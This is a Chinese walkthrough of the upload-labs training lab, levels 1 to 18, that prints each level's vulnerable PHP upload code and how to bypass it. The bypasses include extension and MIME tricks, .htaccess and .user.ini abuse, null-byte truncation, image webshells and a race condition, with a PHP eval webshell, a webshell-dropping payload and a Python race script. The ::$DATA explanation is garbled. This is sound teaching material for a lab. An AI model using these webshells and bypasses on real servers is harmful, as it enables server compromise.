文章目录
- 0x01 前端JS验证
- 0x02 MIME验证
- 0x03 黑名单验证 特殊后缀
- 0x04 黑名单验证 .htaccess
- 0x05 黑名单验证 .user.ini.
- 0x06 黑名单验证 大小写绕过
- 0x07 黑名单验证 空格绕过
- 0x08 黑名单验证 点绕过
- 0x09 黑名单验证 ::$DATA绕过
- 0x10 黑名单验证 "点+空格+点"绕过
- 0x11 黑名单验证 双写绕过
- 0x12 GET %00截断
- 0x13 POST 0x00截断
- 0x14 unpack 图片马
- 0x15 getimagesize 图片马
- 0x16 exif_imagetype 图片马
- 0x17 二次渲染绕过
- 0x18 条件竞争1
- 0x19 条件竞争2
- 0x20 move_uploaded_file() 忽略 /.
- 0x21 数组绕过
0x01 前端JS验证
查看提示得知是前端 JS 白名单验证
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
绕过方式:
- 直接在浏览器中关闭JS,直接上传webshell
- 将 webshell.php 后缀修改为 jpg,然后使用 burpsuite 抓包修改后缀为 php
这里我的 webshell 是 PHP 一句话木马
<?php @eval($_POST['x']);?>
上传成功后,右键图片 - 复制图像链接,可以看到上传的路径 http://localhost/upload-labs/upload/webshell.php
访问该路径,使用 hackbar 插件执行命令
使用蚁剑连接(密码为x)
0x02 MIME验证
查看提示得知本关是对数据包的 MIME 格式进行白名单检查
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
绕过方式:
- 上传 webshelll.php,然后使用 burpsuite 抓包,修改 MIME 格式为 image/jpeg 即可
0x03 黑名单验证 特殊后缀
查看提示得知本关为黑名单限制,asp|.aspx|.php|.jsp 后缀
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);//去空
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//查找 "." 在字符串中最后出现的位置,并返回从该位置到结尾的所有字符
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//不区分大小写去除::$DATA 数据流标记,替换为空
$file_ext = trim($file_ext); //去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//使用随机数重命名文件
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 上传PHP文件的别名进行黑名单绕过,如 phtml、php3、php4、php5,但是前提是 apache 配置文件中需要有这样一句话,不然就算上传上去,服务器也不能正常解析
AddType application/x-httpd-php .php .phtml .php3 .php4 .php5
0x04 黑名单验证 .htaccess
查看提示得知本关也是后缀黑名单限制,包含了绝大多数脚本后缀名
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 由于代码中的后缀名截取并未通过循环方式实现,所以可以根据代码逻辑,构造特定的多个后缀名,例如 “点+空格+点” 的形式。使用burpsuite 抓包修改文件名为(webshell.php. .),经过处理在检测时文件名为(webshell.php.),绕过检测上传后 Windows 自动去除点
- 由于代码中并未限制 .htaccess 后缀类型,上传以下内容的 .htaccess 文件后会将 webshell.jpg 图片马当成PHP文件解析执行
<FilesMatch "webshell.jpg">
Sethandler application/x-httpd-php #在当前目录下,如果匹配到webshell.jpg文件,则被解析成PHP代码执行
</FilesMatch>
关于 .htaccess 解析漏洞
1.原理
.htaccess文件(或者"分布式配置文件") ,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
2.利用方式
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
3.注意
启用 .htaccess,需要修改 httpd.conf,启用 AllowOverride,并可以用 AllowOverride 限制特定命令的使用。
如果需要使用 .htaccess 以外的其他文件名,可以用 AccessFileName 指令来改变。
例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config。
它里面有这样一段代码:AllowOverride None,如果我们把 None 改成 All
0x05 黑名单验证 .user.ini.
查看提示得知,该关卡在上一关的基础上,进一步限制了.htaccess后缀文件
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 照样可以根据后缀名处理逻辑,构造 "点+空格+点” 绕过,经过处理在检测时文件名为(webshell.php.),绕过检测上传后 Windows 自动去除了点
- 未限制 .ini 后缀,可使用 .user.ini 绕过
关于 .user.ini
1.
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
2.
user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是.user.ini
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)
触发 .user.ini 解析漏洞的三个前提条件
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件
创建 .user.ini 文件,意思是所有的 PHP 文件都自动包含图片马 webshell.jpg,即 readme.php 也会包含
.user.ini 相当于一个用户自定义的 php.ini 配置文件
上传 .user.ini 和图片马 webshell.jpg 后,需要等待300秒(user_ini.cache_ttl 默认值),不想等可以直接修改PHP配置文件
由于自动包含 webshell.jpg,所以我们访问 readme.php路径,使用 hackbar 执行命令
使用蚁剑进行连接 readme.php
0x06 黑名单验证 大小写绕过
查看源码,对比上一关发现少了将后缀名转换为小写的步骤
将文件名改为 webshell.Php 上传即可绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
0x07 黑名单验证 空格绕过
查看源码,发现少了去除空格的步骤
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
绕过方式:
- 使用 burpsuite 抓包,在后缀名后面加上一个空格即可绕过(前提是对方服务器是 Windows)
原理:
由于加上空格,所以绕过了黑名单限制
上传到服务器的时候,Windows 会自动将后缀中的空格去除,所以最后保存到服务器上的后缀中没有空格
0x08 黑名单验证 点绕过
查看源码,发现少了删除文件名末尾的点的步骤
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 类似上一关,使用 burpsuite 抓包,在后缀名后面加上一个点即可绕过(前提是对方服务器是 Windows)
原理:
由于加上了点,所以绕过了黑名单限制
上传到服务器的时候,Windows 会自动将后缀中的点去除,所以最后保存到服务器上的后缀中没有点
0x09 黑名单验证 ::$DATA绕过
查看源码,发现少了去除::$DATA 数据流标记的步骤
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 使用 burpsuite 抓包,在文件名后面加上 ::$DATA 即可绕过
原理:
Windows下的PHP会把::
D
A
T
A
之后的数据当成文件流处理,不会检测后缀名,且保持
"
:
:
DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::
DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::DATA"之前的文件名
0x10 黑名单验证 "点+空格+点"绕过
查看源码,发现虽然没有缺失的步骤,但对后缀名的处理还是和之前一样只有一次,并非循环处理
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 根据后缀名处理逻辑,构造 "点+空格+点” 绕过,经过处理在检测时文件名为(webshell.php.),绕过检测上传后 Windows 自动去除了点
0x11 黑名单验证 双写绕过
查看源码,本关使用 str_ireplace() 函数将文件名中匹配黑名单后缀的字符替换为空,且不区分大小写
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式:
- 由于只进行了一次处理,所以可以双写绕过,如 webshell.pphphp
0x12 GET %00截断
查看提示,得知上传路径 save_path 可以控制
查看源码,发现是白名单验证,且 save_path 以 GET 方式提交
这里若使用 00 截断,那么 $img_path 的值就等于 $_GET[‘save_path’],后面的全被截断
而 save_path 是可控的,由此一来便可以绕过
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
1.绕过方式:使用 00 截断
2.使用 00 截断的"前提":
PHP 版本 < 5.3.4,我使用的是 5.2.17
魔术引号关闭 magic_quotes_gpc = Off
3.00 截断的"原理":
PHP 的一些函数的底层是 C语言,而 move_uploaded_file 就是其中之一,其遇到 0x00 会截断,0x表示16进制,URL中 %00 解码成16进制就是 0x00
这里若使用 00 截断,那么 **$img_path 的值就等于 $_GET['save_path']**,后面的全被截断,而 save_path 是可控的,由此一来便可以绕过
4.关于 %00 和 0x00
GET 方式提交的数据会自动 URL 解码,%00 解码后就成为 0x00,所以 GET 我们使用 %00 截断
POST 方式提交的数据不会 URL 解码,所以 POST 我们使用 0x00 截断
由于 save_path 以 GET 方式提交,而 GET 方式提交的数据会自动 URL 解码,%00 解码后就是16进制 0x00,
所以直接使用 burpsuite 抓包,在 save_path=…/upload/ 后面写上 xxx.php%00,同时修改文件名为 webshell.jpg 通过后缀检测
成功上传后,复制图片链接访问,注意:把下面选中的删除后访问
使用 hackbar 插件执行代码 phpinfo();
使用蚁剑进行连接,连接的地址也要把上述选中的去掉
0x13 POST 0x00截断
查看提示,和上一关一样,也是上传路径可控
查看源码,不一样的是 save_path 以 PSOT 方式提交
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
绕过方式类似,使用 0x00 截断,但由于 save_path 以 POST 方式提交,而 POST 方式提交的数据不会 URL 解码,
所以需要使用 burpsuite 抓包以16进制方式改包,先在 save_path=…/upload/ 后面写上 xxx.php+,
写 + 号的目的是好找到位置,因为加号的16进制表示是 0x2b,然后以16进制修改 0x2b 为 0x00,发包即可
0x14 unpack 图片马
查看提示,本关检查图片内容开头2个字节
查看源码,自定义函数 getReailFileType 通过检查文件头得到文件类型,然后根据文件类型重命名上传文件
本关提供了文件包含漏洞,用于以PHP形式解析图片马
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
常见图片格式文件头
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A 即为 .PNG
2.Jpg图片文件包括2字节:FF D8
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 即为 GIF89(7)a
4.Bmp图片文件包括2字节:42 4D 即为 BM
图片马制作方法
- 使用 notepad ++ 打开一个图片,写入一句话木马
- 在 cmd 里使用一张图片和一个木马文件制作图片马
copy 1.jpg/b + 1.php webshell.jpg
绕过方式:上传图片马,结合文件包含漏洞以PHP形式解析图片马
本关文件包含的页面代码如下:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
在文件包含页面URL栏传入参数 file 的值,为图片马的地址
使用 hackbar 插件执行命令 phpinfo();
0x15 getimagesize 图片马
查看提示,本关是使用 getimagesize() 函数检查是否为图片文件,同样有可利用的文件包含漏洞页面
该函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
上一关的绕过方法也适用于这关,不再赘述
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
0x16 exif_imagetype 图片马
查看提示,本关是使用 exif_imagetype() 函数检查是否为图片文件,同样有可利用的文件包含漏洞页面
该函数用于读取图像的第一个字节并检查其后缀名,速度比getimage快得多(需要开启 php_exif 模块)
上一关的绕过方法也适用于这关,不再赘述
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
0x17 二次渲染绕过
查看提示,得知本关会对图片进行二次渲染
查看源码,使用 imagecreatefromgif() 函数判断是否为 gif 图片,并进行二次渲染
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
关于二次渲染的知识点
1.二次渲染的"原理"
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新
处理完成后,"根据我们原有的图片生成一个新的图片"并放到网站对应的标签进行显示
2.如何"绕过"二次渲染?
将一句话木马插入到网站二次处理后的图片中(也就是把一句话木马插入到二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉)
可以先上传正常图片,然后把经过二次渲染后图片和原来的图片用 notepad++ 打开,进行比对,看哪部分数据在二次渲染时不会被丢失,就在那里插入一句话木马
制作好图片马后,再配合文件包含漏洞进行利用
上传该可绕过二次渲染的图片马,复制经过二次渲染后的图片链接
利用文件包含漏洞,以PHP形式解析图片马,并使用 hackbar 执行命令 phpinfo();
0x18 条件竞争1
分析源码
1.服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名
如果不符合的话,unlink()函数就会删除该文件
2.但其实这样是有问题的,因为源码中的上传操作放在了检查后缀名之前,正常应该是检查在上传之前
由于代码执行也需要时间,如果我们不停的访问所上传的 webshell.php,正好在上传操作和删除操作执行的间隔内访问到
那么就存在一个资源占用的问题,由于我们正在占用该资源,所以造成了服务器 ulink 函数删除失败
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
绕过流程
为了效果更好,将一句话木马换为以下内容,当我们访问到 webshell.php 时,会执行里面的代码
我这里写的意思是在当前目录创建一个名为 1.php 的一句话木马
也就是说 webshell.php 本身不是木马,而是用于生成一句话木马 1.php 的
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["x"])?>');?>
上传 webshell.php,使用 burpsuite 抓包拦截,发送给 Intruder 模块进行爆破
选择 $ 清除,设置无限发送空的 payload
把线程数设置高一点,效果好点
编写一个Python脚本,用于不断请求webshell.php,比人工不断请求效率更高
import requests
url = "http://localhost/upload-labs/upload/webshell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
启动该Python脚本后,在 burpsuite 点击开始攻击,出现 OK 表明访问到了 webshell.php,并成功创建了一句话木马 1.php
查看 upload 文件夹,一句话木马 1.php 已经被创建
查看一句话木马 1.php 内容
使用蚁剑进行连接
0x19 条件竞争2
